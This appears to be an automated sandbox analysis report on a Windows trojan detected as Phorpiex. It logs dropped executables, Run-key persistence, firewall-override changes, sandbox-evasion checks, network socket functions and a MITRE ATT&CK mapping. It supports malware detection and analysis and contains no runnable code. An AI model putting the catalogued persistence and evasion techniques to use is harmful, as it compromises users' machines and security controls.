Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\sysmablsvr.exe C:\Windows\sysmablsvr.exe
Source: unknown	Process created: C:\Windows\sysmablsvr.exe "C:\Windows\sysmablsvr.exe"
Source: C:\Windows\sysmablsvr.exe	Process created: C:\Users\user\AppData\Local\Temp\158752420.exe C:\Users\user\AppData\Local\Temp\158752420.exe
Source: C:\Windows\sysmablsvr.exe	Process created: C:\Users\user\AppData\Local\Temp\524024912.exe C:\Users\user\AppData\Local\Temp\524024912.exe
Source: C:\Windows\sysmablsvr.exe	Process created: C:\Users\user\AppData\Local\Temp\259428477.exe C:\Users\user\AppData\Local\Temp\259428477.exe
Source: C:\Windows\sysmablsvr.exe	Process created: C:\Users\user\AppData\Local\Temp\2958729589.exe C:\Users\user\AppData\Local\Temp\2958729589.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\sysmablsvr.exe C:\Windows\sysmablsvr.exe	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Process created: C:\Users\user\AppData\Local\Temp\158752420.exe C:\Users\user\AppData\Local\Temp\158752420.exe	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Process created: C:\Users\user\AppData\Local\Temp\524024912.exe C:\Users\user\AppData\Local\Temp\524024912.exe	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Process created: C:\Users\user\AppData\Local\Temp\259428477.exe C:\Users\user\AppData\Local\Temp\259428477.exe	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Process created: C:\Users\user\AppData\Local\Temp\2958729589.exe C:\Users\user\AppData\Local\Temp\2958729589.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\158752420.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\158752420.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\158752420.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\158752420.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\158752420.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\259428477.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\259428477.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\259428477.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\259428477.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\259428477.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2958729589.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2958729589.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2958729589.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2958729589.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2958729589.exe	Section loaded: wkscli.dll	Jump to behavior

Source: C:\Windows\sysmablsvr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\158752420.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\158752420.exe	Code function: 6_2_006E1DF1 push ecx; ret	6_2_006E1E04
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Code function: 7_2_00221771 push ecx; ret	7_2_00221784
Source: C:\Users\user\AppData\Local\Temp\259428477.exe	Code function: 9_2_00A31DF1 push ecx; ret	9_2_00A31E04
Source: C:\Users\user\AppData\Local\Temp\2958729589.exe	Code function: 10_2_003D1DF1 push ecx; ret	10_2_003D1E04

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\file.exe

Executable created and started: C:\Windows\sysmablsvr.exe

Jump to behavior

Source: C:\Windows\sysmablsvr.exe	File created: C:\Users\user\AppData\Local\Temp\158752420.exe	Jump to dropped file
Source: C:\Windows\sysmablsvr.exe	File created: C:\Users\user\AppData\Local\Temp\259428477.exe	Jump to dropped file
Source: C:\Windows\sysmablsvr.exe	File created: C:\Users\user\AppData\Local\Temp\2958729589.exe	Jump to dropped file
Source: C:\Windows\sysmablsvr.exe	File created: C:\Users\user\AppData\Local\Temp\524024912.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\sysmablsvr.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\sysmablsvr.exe

Jump to dropped file

Source: C:\Windows\sysmablsvr.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\BITS

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Settings			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Settings			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Changes the view of files in windows explorer (hidden files and folders)

Source: C:\Windows\sysmablsvr.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL CheckedValue

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\Desktop\file.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	File opened: C:\Windows\sysmablsvr.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	File opened: C:\Users\user\AppData\Local\Temp\21548511.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	File opened: C:\Users\user\AppData\Local\Temp\193855420.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	File opened: C:\Users\user\AppData\Local\Temp\158752420.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	File opened: C:\Users\user\AppData\Local\Temp\524024912.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	File opened: C:\Users\user\AppData\Local\Temp\356818234.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	File opened: C:\Users\user\AppData\Local\Temp\3079321897.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	File opened: C:\Users\user\AppData\Local\Temp\259428477.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	File opened: C:\Users\user\AppData\Local\Temp\239315810.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	File opened: C:\Users\user\AppData\Local\Temp\3022733304.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	File opened: C:\Users\user\AppData\Local\Temp\2958729589.exe:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\158752420.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\259428477.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2958729589.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D280	0_2_0040D280
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_0040D280	1_2_0040D280
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_0040D280	2_2_0040D280

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\sysmablsvr.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess			graph_1-4382
Source: C:\Windows\sysmablsvr.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep			graph_1-4382

Source: C:\Windows\sysmablsvr.exe	Window / User API: threadDelayed 3256	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Window / User API: threadDelayed 1651	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Window / User API: threadDelayed 597	Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Window / User API: threadDelayed 1009	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Evaded block: after key decision	graph_0-4401
Source: C:\Users\user\Desktop\file.exe	Evaded block: after key decision	graph_0-4382
Source: C:\Windows\sysmablsvr.exe	Evaded block: after key decision	graph_2-4380

Source: C:\Windows\sysmablsvr.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_2-5345
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_0-4435
Source: C:\Windows\sysmablsvr.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_1-4404
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_0-5346

Source: C:\Users\user\AppData\Local\Temp\158752420.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_6-322
Source: C:\Users\user\AppData\Local\Temp\259428477.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep
Source: C:\Users\user\AppData\Local\Temp\2958729589.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

Source: C:\Users\user\Desktop\file.exe	API coverage: 3.6 %
Source: C:\Windows\sysmablsvr.exe	API coverage: 0.9 %

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D280		0_2_0040D280
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_0040D280		2_2_0040D280

Source: C:\Windows\sysmablsvr.exe TID: 6772	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\sysmablsvr.exe TID: 5232	Thread sleep count: 3256 > 30	Jump to behavior
Source: C:\Windows\sysmablsvr.exe TID: 5232	Thread sleep time: -6512000s >= -30000s	Jump to behavior
Source: C:\Windows\sysmablsvr.exe TID: 6772	Thread sleep count: 1651 > 30	Jump to behavior
Source: C:\Windows\sysmablsvr.exe TID: 3872	Thread sleep count: 597 > 30	Jump to behavior
Source: C:\Windows\sysmablsvr.exe TID: 5764	Thread sleep time: -123775s >= -30000s	Jump to behavior
Source: C:\Windows\sysmablsvr.exe TID: 5232	Thread sleep count: 1009 > 30	Jump to behavior
Source: C:\Windows\sysmablsvr.exe TID: 5232	Thread sleep time: -2018000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406650 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	0_2_00406650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406510 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406510
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_00406650 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	1_2_00406650
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_00406510 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00406510
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_00406650 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	2_2_00406650
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_00406510 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_00406510

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,

0_2_00402020

Source: C:\Windows\sysmablsvr.exe	Thread delayed: delay time: 60000			Jump to behavior
Source: C:\Windows\sysmablsvr.exe	Thread delayed: delay time: 123775			Jump to behavior

Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234405265.000000000067E000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000003.1878878518.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000003.1878685410.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, 524024912.exe, 00000007.00000002.2490877099.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, 524024912.exe, 00000007.00000002.2490877099.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000003.1878878518.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000003.1878685410.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWCP

Source: C:\Windows\sysmablsvr.exe	API call chain: ExitProcess graph end node	graph_1-4425
Source: C:\Windows\sysmablsvr.exe	API call chain: ExitProcess graph end node	graph_2-4423
Source: C:\Windows\sysmablsvr.exe	API call chain: ExitProcess graph end node	graph_2-4391

Source: C:\Users\user\AppData\Local\Temp\524024912.exe

Code function: 7_2_002218A8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

7_2_002218A8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040A470 GetProcessHeaps,

0_2_0040A470

Source: C:\Users\user\AppData\Local\Temp\158752420.exe	Code function: 6_2_006E1B24 SetUnhandledExceptionFilter,	6_2_006E1B24
Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Code function: 7_2_002218A8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	7_2_002218A8
Source: C:\Users\user\AppData\Local\Temp\259428477.exe	Code function: 9_2_00A31B24 SetUnhandledExceptionFilter,	9_2_00A31B24
Source: C:\Users\user\AppData\Local\Temp\2958729589.exe	Code function: 10_2_003D1B24 SetUnhandledExceptionFilter,	10_2_003D1B24

Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoA,strcmp,	0_2_0040ECC0
Source: C:\Windows\sysmablsvr.exe	Code function: GetLocaleInfoA,strcmp,	1_2_0040ECC0
Source: C:\Windows\sysmablsvr.exe	Code function: GetLocaleInfoA,strcmp,	2_2_0040ECC0

Source: C:\Users\user\AppData\Local\Temp\158752420.exe

Code function: 6_2_006E1E58 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

6_2_006E1E58

Source: C:\Users\user\AppData\Local\Temp\158752420.exe

Code function: 6_2_006E14E0 memset,GetModuleHandleW,GetProcAddress,memset,GetVersionExA,memset,GetVersionExA,

6_2_006E14E0

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\sysmablsvr.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center FirewallOverride

Jump to behavior

Remote Access Functionality

Yara detected Phorpiex

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 2.0.sysmablsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.sysmablsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.sysmablsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.sysmablsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.1804968685.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1784055994.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1909749196.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1805000272.0000000000547000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysmablsvr.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysmablsvr.exe PID: 2148, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\sysmablsvr.exe, type: DROPPED

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	0_2_00401470
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	0_2_00402020
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DCA0 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	0_2_0040DCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004013B0 CreateEventA,socket,bind,CreateThread,	0_2_004013B0
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	1_2_00401470
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	1_2_00402020
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_0040DCA0 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	1_2_0040DCA0
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_004013B0 CreateEventA,socket,bind,CreateThread,	1_2_004013B0
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	2_2_00401470
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	2_2_00402020
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_0040DCA0 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	2_2_0040DCA0
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_004013B0 CreateEventA,socket,bind,CreateThread,	2_2_004013B0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Native API	1 Windows Service	1 Windows Service	121 Masquerading	11 Input Capture	1 System Time Discovery	Remote Services	11 Input Capture	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Disable or Modify Tools	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	11 Virtualization/Sandbox Evasion	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	3 Clipboard Data	4 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Hidden Files and Directories	LSA Secrets	1 System Network Connections Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	15 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	84%	ReversingLabs	Win32.Trojan.MintZard
file.exe	100%	Avira	HEUR/AGEN.1315882
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\524024912.exe	100%	Avira	TR/Dldr.Agent.gqemd
